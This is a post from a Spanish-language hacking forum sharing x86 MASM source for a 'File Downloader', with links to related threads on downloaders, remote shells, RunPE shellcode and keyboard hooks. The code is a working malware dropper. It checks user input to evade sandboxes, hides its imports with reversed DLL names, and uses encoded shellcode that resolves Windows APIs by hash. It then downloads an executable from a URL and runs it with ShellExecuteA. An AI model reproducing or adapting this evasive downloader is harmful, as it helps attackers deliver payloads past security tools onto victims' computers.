comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[MASM] File Downloader

  • 0 Respuestas
  • 2295 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Junio 05, 2012, 04:41:40 pm »
Código: ASM
  1. .386
  2. .model flat,stdcall
  3. option casemap:none
  4.  
  5. include \masm32\include\windows.inc
  6. include \masm32\include\masm32.inc
  7. include \masm32\include\kernel32.inc
  8. includelib \masm32\lib\kernel32.lib
  9. include \masm32\include\user32.inc
  10. includelib \masm32\lib\user32.lib
  11. includelib \masm32\lib\masm32.lib
  12.  
  13. LASTINPUTINFO struct
  14.     cbSize DWORD ?
  15.     dwTime DWORD ?
  16. LASTINPUTINFO ends
  17.  
  18. .data
  19.  
  20. szLoadAPI db 055h, 08Bh, 0ECh, 083h, 0C4h, 0F4h, 052h, 089h, 055h, 0FCh, 08Bh, 04Ah, 03Ch, 003h, 0CAh, 089h, 04Dh, 0F4h, 08Bh, 049h
  21.           db 078h, 003h, 0CAh, 089h, 04Dh, 0F8h, 08Bh, 051h, 018h, 08Bh, 049h, 020h, 003h, 04Dh, 0FCh, 033h, 0FFh, 08Bh, 031h, 003h
  22.           db 075h, 0FCh, 033h, 0C0h, 051h, 0ACh, 08Bh, 0C8h, 003h, 0F8h, 0D3h, 0C7h, 085h, 0C0h, 075h, 0F5h, 059h, 03Bh, 0FBh, 074h
  23.           db 010h, 083h, 0C1h, 004h, 04Ah, 075h, 0E0h, 0BAh, 0C2h, 058h, 062h, 01Bh, 05Ah, 033h, 0C0h, 0C9h, 0C3h, 08Bh, 045h, 0FCh
  24.           db 08Bh, 04Dh, 0F8h, 08Bh, 059h, 018h, 08Bh, 049h, 024h, 003h, 0C8h, 02Bh, 0DAh, 0D1h, 0E3h, 003h, 0CBh, 00Fh, 0B7h, 019h
  25.           db 08Bh, 04Dh, 0F8h, 08Bh, 049h, 01Ch, 003h, 0C8h, 0C1h, 0E3h, 002h, 003h, 0CBh, 003h, 001h, 05Ah, 0C9h, 0C3h
  26.  
  27.     szURL                   db 'http://example.com/file.exe', 0
  28.     szFileName              db 'deadlyvermilion.exe', 0
  29.  
  30.     szURLMon                db 'lld.noMLRU', 0
  31.     szShell32               db 'lld.23llehS', 0
  32.  
  33.     dwLoadAPI               DWORD ?
  34.  
  35.     dwLoadLibraryA          DWORD ?
  36.     dwURLMon                DWORD ?
  37.     dwShell32               DWORD ?
  38.     dwURLDownloadToFileA    DWORD ?
  39.     dwShellExecuteA         DWORD ?  
  40.  
  41.     FirstInput      LASTINPUTINFO <>
  42.     SecondInput     LASTINPUTINFO <>
  43.    
  44. .code
  45.  
  46. StrReverse proc lpString:LPSTR
  47. mov eax,lpString                       ; put string address in EAX
  48. mov edx,eax                            ; same in EDX
  49. @@:                                    ; move EDX to the end of string
  50. add edx,1
  51. cmp byte ptr [edx],0
  52. jne @B
  53. sub edx,1                              ; return EDX to last not null character
  54. @@:
  55. mov cl,byte ptr [eax]          ; swap EAX and EDX, moving from two brinks
  56. mov ch,byte ptr [edx]          ; in opposite directions
  57. mov [eax],ch                   ; while EAX is less than EDX
  58. mov [edx],cl
  59. add eax,1
  60. sub edx,1
  61. cmp eax,edx
  62. jl @B
  63. ret
  64. StrReverse endp
  65.  
  66. ;********************************************************************************
  67.  
  68. start:
  69.  
  70.     MOV FirstInput.cbSize, SizeOf LASTINPUTINFO
  71.     MOV SecondInput.cbSize, SizeOf LASTINPUTINFO
  72.  
  73.     Invoke GetLastInputInfo, ADDR FirstInput
  74.     Invoke Sleep, 5000
  75.     Invoke mouse_event, MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
  76.     Invoke mouse_event, MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
  77.     Invoke GetLastInputInfo, ADDR SecondInput
  78.  
  79.     MOV EAX, SecondInput.dwTime
  80.     SUB EAX, FirstInput.dwTime
  81.     CMP EAX, 4500
  82.     JL ExitMain
  83.  
  84.  
  85.     Invoke VirtualProtect, ADDR szLoadAPI, 118, PAGE_EXECUTE_READWRITE, 0
  86.  
  87.     Invoke StrReverse, ADDR szURLMon
  88.     Invoke StrReverse, ADDR szShell32
  89.  
  90.     LEA EAX, szLoadAPI
  91.     MOV dwLoadAPI, EAX
  92.  
  93.     ASSUME FS:NOTHING
  94.     MOV EAX, FS:[30h]
  95.     MOV EAX, [EAX+0Ch]
  96.     MOV EAX, [EAX+0Ch]
  97.     MOV EAX, [EAX]
  98.     MOV EAX, [EAX]
  99.     MOV EAX, [EAX+18h]
  100.  
  101.     MOV EDX, EAX
  102.     MOV EBX, 0A216A185h
  103.     CALL dwLoadAPI
  104.     MOV dwLoadLibraryA, EAX
  105.  
  106.     PUSH OFFSET szURLMon
  107.     CALL EAX
  108.     MOV dwURLMon, EAX
  109.  
  110.     PUSH OFFSET szShell32
  111.     CALL dwLoadLibraryA
  112.     MOV dwShell32, EAX
  113.  
  114.     MOV EDX, dwURLMon
  115.     MOV EBX, 0B2040657h
  116.     CALL dwLoadAPI
  117.     MOV dwURLDownloadToFileA, EAX
  118.  
  119.     MOV EDX, dwShell32
  120.     MOV EBX, 0D9A88A30h
  121.     CALL dwLoadAPI
  122.     MOV dwShellExecuteA, EAX
  123.  
  124.     PUSH 0
  125.     PUSH 0
  126.     PUSH OFFSET szFileName
  127.     PUSH OFFSET szURL
  128.     PUSH 0
  129.     CALL dwURLDownloadToFileA
  130.  
  131.     PUSH 0
  132.     PUSH 0
  133.     PUSH 0
  134.     PUSH OFFSET szFileName
  135.     PUSH 0
  136.     PUSH 0
  137.     CALL dwShellExecuteA      
  138.    
  139. ExitMain:
  140.     RET
  141. end start

By DeadlyVermilion
« Última modificación: Junio 03, 2013, 11:53:58 am por Expermicid »


 

¿Te gustó el post? COMPARTILO!



[FASM] Downloader

Iniciado por k0ws

Respuestas: 4
Vistas: 2826
Último mensaje Mayo 19, 2013, 04:24:27 pm
por mr.blood
[MASM] Pequeña PoC de shell remota

Iniciado por binary_death

Respuestas: 0
Vistas: 2230
Último mensaje Septiembre 01, 2013, 02:03:45 pm
por binary_death
[MASM] GetModuleFileName Example (Beginner)

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2075
Último mensaje Junio 09, 2010, 12:31:17 pm
por ANTRAX
[MASM] Shellcode RunPE

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3003
Último mensaje Junio 05, 2012, 04:44:43 pm
por ANTRAX
[MASM] Hook al teclado

Iniciado por binary_death

Respuestas: 0
Vistas: 2191
Último mensaje Septiembre 01, 2013, 01:59:57 pm
por binary_death